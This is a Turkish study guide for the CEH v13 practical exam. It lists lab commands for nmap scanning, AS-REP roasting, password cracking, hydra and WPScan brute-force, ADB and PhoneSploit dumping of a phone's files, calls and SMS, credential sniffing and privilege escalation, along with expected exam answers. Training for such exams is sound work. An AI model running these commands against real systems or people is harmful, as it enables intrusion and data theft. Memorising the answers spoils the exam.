

CEH v13 Practical & Engage (Part 1-4) Eksiksiz Sınav Ansiklopedisi

Tüm Senaryolar, Soru Tipleri, Komut Parametreleri, Wireshark Filtreleri, ADB/PhoneSploit, Active Directory, CrypTool & Yara/Malware Analizi

1. SINAV MEKANIĞI, FORMAT KURALLARI & KRİTİK HATALAR

* **Soru Sayısı & Geçme:** 20 Soru / Challenge. Geçmek için **en az 14 doğru** (%70) zorunludur. Süre 6 saattir (360 dk).

* **Makineler:** EH Workstation - 1 (Parrot Linux) & EH Workstation - 2 (Windows 10/11 Server).

* **Format Regex Uyuşmazlığı (En Büyük Puan Kaybı):** Sorunun altındaki formata harfiyen uyun. Örn: (Format: aaaaANNaN) -> pawnED1@2 | (Format: N) -> Sadece rakam | (Format: AAAAA.AAA.aaa) -> SKILL.CEH.com. Büyük/küçük harf veya gereksiz boşluk bırakıldığında sistem doğrudan 0 puan verir.

2. ENGAGE PART 1: AĞ TARAMASI, OS TESPİTİ, DNS & ZAFİYET ANALİZİ

Subnet Canlı Host Sayısı (Gateway Hariç) & TTL Mantiği

```
# Subnet'te ping sweep yap:
nmap -sn 192.168.10.0/24
# Püf Noktası: Gateway (Genelde ilk IP: .1 veya .254) hariç canlı makine sayısı istenir. Toplam canlı 6 ise cevap 5'tir.
# TTL ile OS Tespiti: ping -c 1 192.168.10.111 -> TTL <= 64 ise LINUX, TTL >= 128 ise WINDOWS
```

Açık Port & Kritik Servisleri Tespit Etme (Tek Satır Taramalar)

```
# Linux ve Port 22 açık makine: nmap -p 22 192.168.10.0/24 --open
# OpenSSH Versiyon Tespiti: nmap -p 22 -sV 192.168.10.111 (Örn cevap: 8.9p1)
# Domain Controller Tespiti (Port 53 / 88): nmap -p 53,88 192.168.0.0/24 --open -> 192.168.0.222
# MSSQL Servisi (Port 1433): nmap -p 1433 192.168.10.0/24 --open -> 192.168.10.144
# MySQL Servisi (Port 3306): nmap -p 3306 172.30.10.0/24 --open -> 172.30.10.99 (OS: Ubuntu)
# SMTP Mail Servisi (Port 25): nmap -p 25 172.30.10.0/24 --open -> 172.30.10.200
# RDP (3389) ve SMB (445): nmap -p 3389,445 10.10.55.0/24 --open
```

Active Directory İsimleri & SMB Message Signing

```
nmap -sV -A -p 445 192.168.0.222
# Çıktı: NetBIOS Domain Name: SKILL.CEH | DNS Tree Name: SKILL.CEH.com
# SMB Message Signing Kontrolü:
nmap -p 445 --script smb2-security-mode 172.30.10.200
# 'Message signing enabled but not required' -> Cevap: No
```

DNS Enumeration & CWE Top 25 Sorgusu

```
# Name Server tespiti: dig NS certifiedhacker.com (Örn: ns1.bluehost.com, ns2.bluehost.com)
# Excel Analizi (Dumpster.xlsx): LibreOffice/Excel'de açıp verilen IP'yi (173.245.59.176) filtrele -> Hostname'i al.
# CWE Top 25: Tarayıcıda cwe.mitre.org/top25/archive/2023/2023_top25_list.html aç -> 25. sıradaki ID: 276
```

OpenVAS / GVM Zafiyet Analizi (QoD & FTP Açığı)

```
# OpenVAS Docker ayağa kaldırma veya web arayüzüne giriş (https://127.0.0.1:9392):
# 192.168.10.111 taramasında Medium seviye zafiyetin QoD (Quality of Detection) yüzdesi: 70
# 192.168.10.144 FTP zafiyeti: "FTP Unencrypted Cleartext Login"
```

3. ENGAGE PART 2: ACTIVE DIRECTORY AS-REP ROASTING, MSSQL EXPLOITATION & PROCMON/DIE

AS-REP Roasting (GetNPUsers.py) & Hash Kırma

```
# Ön kimlik doğrulama gerektirmeyen kullanıcılardan Kerberos TGT hash'i çek:
python3 GetNPUsers.py SKILL.com/ -no-pass -usersfile ~/users.txt -dc-ip 192.168.0.222
# Çıkan $krb5asrep$ hash'ini hash.txt içine kaydet.
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# veya Hashcat: hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```

MSSQL Kaba Kuvvet & Dosya Boyutu Çekme (Challenge 8)

```
# Port 1433 açık hedefe kullanıcı ve parola listesiyle brute-force:
hydra -L ~/users.txt -P /usr/share/wordlists/rockyou.txt 192.168.10.144 mssql
# Bağlantı ve komut çalıştırma (sqsh veya mssqlclient.py):
python3 mssqlclient.py sa:password@192.168.10.144 -windows-auth
# Public Downloads klasöründeki MSS.txt dosyasının boyutunu byte cinsinden al:
dir "C:\Users\Public\Downloads\MSS.txt"
```

Process Monitor (.PML) ile Parent PID Tespiti (Challenge 11)

Windows üzerinde **ProcMon** açılır \$ ightarrow\$ Logfile .PML yüklenir \$ ightarrow\$ Ctrl + F ile H3110.exe aranır \$ ightarrow\$ İşleme çift tıklanıp **Process** sekmesinden Parent PID okunur (Örn: 6952).

Detect It Easy (DIE) ile ELF/PE Entropi Değeri (Challenge 12)

Windows/Linux DIE aracı açılır \$ ightarrow\$ Tornado.elf dosyası sürüklenip bırakılır \$ ightarrow\$ **Entropy** butonuna basılır \$ ightarrow\$ Virgülden sonra 2 basamakla değer okunur (Örn: 2.87).

Remote Packet Capture (rpcap) Servis IP Tespiti (Challenge 13)

```
# rpcap varsayılan portu 2002'dir:
nmap -p 2002 192.168.10.0/24 172.30.10.0/24 --open
# rpcap çalıştıran IP tespit edilir.
```

4. ENGAGE PART 3: SNIFFING, HONEYPOT LOGLARI, WPSCAN & GÜVENLİK POLİTİKALARI

Wireshark ile Session Hijacking Kurban IP (\$_Jack.pcapng)

```
# Wireshark'ta $_Jack.pcapng dosyasını aç:
# Filtre: tcp.flags.reset == 1 veya tekrarlayan HTTP isteklerine bak -> Hedef Kurban IP'yi al.
```

HTTP Sniffing ile Kimlik Bilgisi Yakalama (Intercep_niffer.pcapng)

```
# Filtre: http.request.method == "POST"
# Packet Details -> "HTML Form URL Encoded" sekmesini genişlet -> username/password oku (Örn: adm/1234).
```

Cowrie Honeypot Log Analizi (cowrie.log - Challenge 3)

```
# Downloads altındaki cowrie.log dosyasından saldıran IP'yi bul:
grep "login attempt" cowrie.log | awk '{print $NF}' | sort | uniq -c
# Format: NNNNNNN*NN (Örn: 1921681*50)
```

WordPress Brute-Force & Meta-Author Keşfi (Challenge 8 & 12)

```
# WordPress adam kullanıcısı parolası:
wpscan --url http://www.cehorg.com -U adam -P /usr/share/wordlists/rockyou.txt
# SMB ile webpent.txt dosyasını al:
smbclient //192.168.10.101/share -N
# Dosyada vurgulanan web sitesine curl atıp meta tagını oku:
curl -s http://target-site | grep -i "author"
```

Eksik Güvenlik İlkesi (XSS & SQLi Engelleme) & Clickjacking

```
curl -I http://www.goodshopping.com
# XSS ve SQLi'yi tarayıcı seviyesinde azaltan eksik ilke: "Content Security Policy" (Format: Aaaaaa Aaaaaaa Aaaaaa)
# Clickjacking zafiyeti için eksik başlık: "X-Frame-Options"
```

5. ENGAGE PART 4: ANDROID ADB, PHONESPLOIT, CRC32, CRYPTOL & VERACRYPT

Android Port 5555 Tespiti & ADB Dosya Sızdırma (Challenge 1)

```
# ADB Taraması ve Bağlantı:
nmap -p 5555 192.168.10.0/24 --open
adb connect 192.168.10.121:5555
adb devices
# SDCard içeriğini tamamen çek:
adb pull /sdcard/ ~/AndroidData/
# Documents klasöründeki pwned.txt içindeki parolayı al.
# Windows Workstation üzerinde BCTextEncoder aç -> BCText.txt yükle -> parolayı gir -> Deşifre et.
```

PhoneSploit ile APK Çıkarma & Sonu "614c" ile Biten CRC32 (Challenge 2)

```
cd /opt/PhoneSploit || cd ~/PhoneSploit
python3 phonesploit.py
# 1. Menü [1] -> Hedef IP gir: 192.168.10.121
# 2. 'n' basarak ilerle -> Menü [36] (veya [17] Extract all APKs) -> İlgili paketi seç (com.cxinventor...) -> İndir.
# 3. İndirilen APK dosyasının CRC32 değerini hesapla:
crc32 path_to_apk/base.apk
# Sonu 614c ile biten tam CRC32 değerini yaz (Örn: 24a8614c).
```

PhoneSploit / ADB ile Phishing Arama Kaydı (Call Log) & Rehber (Challenge 4 & 9)

```
# PhoneSploit Menü [7] Dump Call Logs -> Arama listesinde şüpheli olan numarayı bul:
# Format: +N (NNN) NNN-NNNN (Örn: +1 (555) 234-5678)
# Menü [8] Dump SMS -> Mesajları çek
# Menü [14] Make a Call -> Hedef telefona belirtilen numarayı arat
# PhoneSploit ile Contacts dump alıp 'Maddy' kişinin ülke kodunu bulma:
adb shell content query --uri content://contacts/phones/ | grep -i "Maddy"
```

Wireshark Expert Info DoS Severity & MQTT Nem Yüzdesi (Challenge 5 & 6)

```
# And_DoS.pcapng dosyasını aç -> Üst menü: Analyze > Expert Information -> En üst ciddiyet: Warning / Error.
# MQTT.pcapng dosyasını aç -> Filtre: mqtt contains "High_humidity" -> Paketi genişlet -> Nem uyarısı yüzdesini oku: 85.
```

CrypTool ile 128-bit Şifre Çözme (Challenge 7: cryt-128-06encr.hex)

Windows makinede **CrypTool** açılır \$ ightarrow\$ cryt-128-06encr.hex dosyası içine sürüklenir \$ ightarrow\$ Üst menüden: **Encrypt/Decrypt -> Symmetric (Modern) -> Further Algorithms -> Twofish** seçilir \$ ightarrow\$ Key length: **128 bit** seçilir \$ ightarrow\$ Key alanına 16 kez 06 girilir: 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 06 \$ ightarrow\$ Decrypt edilir \$ ightarrow\$ Algoritma ve gizli metin okunur: Twofish/aaaA*a.

VeraCrypt Konteyner Dosya Sayısı Tespiti (Challenge 8)

EH Workstation - 2 üzerinde **VeraCrypt** açılır \$ ightarrow\$ **Select File** ile MyVeracrypt seçilir \$ ightarrow\$ **Mount** denir \$ ightarrow\$ Parola: veratest (veya test) girilir \$ ightarrow\$ Açılan sanal sürücüye girilip içindeki dosya sayısı sayılır (Cevap: 4).

Signature.zip İçinde Sonu "24CCB" ile Biten MD5 Tespiti (Challenge 3)

```
unzip signature.zip -d ./signatures/
md5sum signatures/*.png | grep -i "24CCB"
# Çıkan orijinal dosya adı yazılır (Format: aN*aaa -> örn: s2_sig.png).
```

6. WIRESHARK FİLTRE ANSİKLOPEDİSİ (TÜM SINAV SENARYOLARI)

Senaryo / Protokol	Wireshark Ekran Filtresi & Menü Yolu	Kullanım Amacı
DDoS En Az/Çok Paket Atan IP	Menü: <i>Statistics > Conversations > IPv4</i> (Packets tıkla) Filtre: <code>ip.dst == 172.22.10.10</code>	Saldırgan IP ve gönderilen en az paket sayısını bulur (172.20.0.21 / 19554).
IoT MQTT Publish Mesajı	<code>mqtt.msgtype == 3</code> veya <code>mqtt contains "High_humidity"</code>	MQ Telemetry Header Flags altındaki <i>Topic Length</i> veya nem alarmını okur.
HTTP POST Kimlik Avı	<code>http.request.method == "POST"</code>	HTML Form URL Encoded dalından username ve password parametrelerini çeker.
Session Hijacking / DoS Reset	<code>tcp.flags.reset == 1</code> veya <code>arp.duplicate-address-frame</code>	Ağda kesilen bağlantıları ve sahte ARP zehirlene aktivitelerini listeler.
Bilinmeyen UDP Saldırısı	<code>udp.port == 26000</code> veya <code>udp and !(dns)</code>	ServerDoS.pcapng dosyasındaki Quake/özel UDP flood portunu yakalar.
Tüm Katmanlarda Flag / Şifre Arama	<code>Ctrl + F > Packet Bytes > String > "flag" / "password"</code>	Şifrelenmemiş paket yüklerindeki metinleri ve gizli anahtarları yakalar.
HTTP Nesnelerini Masaüstüne Çıkarma	Menü: <i>File > Export Objects > HTTP...</i>	Trafikten geçen .exe, resim, php ve txt dosyalarını tek tıkla kaydeder.

7. KABA KUVVET, STEGANOGRAFI & LINUX PRIVILEGE ESCALATION

Hydra Çoklu Protokol Komut Seti

```
# RDP: hydra -l Jones -P /usr/share/wordlists/rockyou.txt rdp://10.10.55.X
# SSH: hydra -l marcus -P /usr/share/wordlists/rockyou.txt ssh://10.10.55.X
# FTP: hydra -l nick -P /usr/share/wordlists/rockyou.txt ftp://192.168.10.111
# SMB: hydra -l Administrator -P /usr/share/wordlists/rockyou.txt smb://10.10.55.X
```

Steganografi (Snow, Steghide, OpenStego & Hashes.com)

```
# Whitespace Steganografi: snow -C -p "password" restricted.txt
# Steghide Resimden Veri Çıkarma: steghide extract -sf suspicious.jpg -p "password"
# Wi-Fi 4-Way Handshake Kırma: aircrack-ng -w /usr/share/wordlists/rockyou.txt W!F!_Pcap.cap
# MD5 / NTLM Hash Kırma: ilabs tarayıcısından hashes.com/en/decrypt/hash sitesine yapıştır.
```

Linux Yetki Yükseltme (PrivEsc) & Dosya Bulma

```
# Sudo yetkileri: sudo -l -> sudo cat /root/imroot.txt
# SUID bitli dosyalar: find / -perm -4000 -type f 2>/dev/null
# Gizli bayrak dosyası arama: find / -name "**flag*" -o -name "Netnormal.txt" 2>/dev/null
```

8. SINAV GÜNÜ ADIM ADIM BAŞARI PROTOKOLÜ

- 1. İlk 20 Dakika (Hızlı Puanlar):** Wireshark DDoS en az paket atan IP, MQTT analizleri, curl header kontrolleri (Clickjacking/CSP), Hashes.com sorguları ve parameter tampering (page_id=95) sorularını hemen çözün (6-8 doğru garanti).
- 2. İkinci Aşama (Mobil & AD):** ADB ile bağlanıp PhoneSploit ile APK/Call log dökümünü yapın; BCTextEncoder ve CryptoForge şifrelerini çözün. GetNPUsers.py ile Kerberos hash'ini John'a verin.
- 3. Üçüncü Aşama (Kaba Kuvvet & SQLi):** Hydra ve SQLMap arka planda çalışırken diğer analiz sorularına geçin. Format regex'ini her cevaptan önce iki kez teyit edin.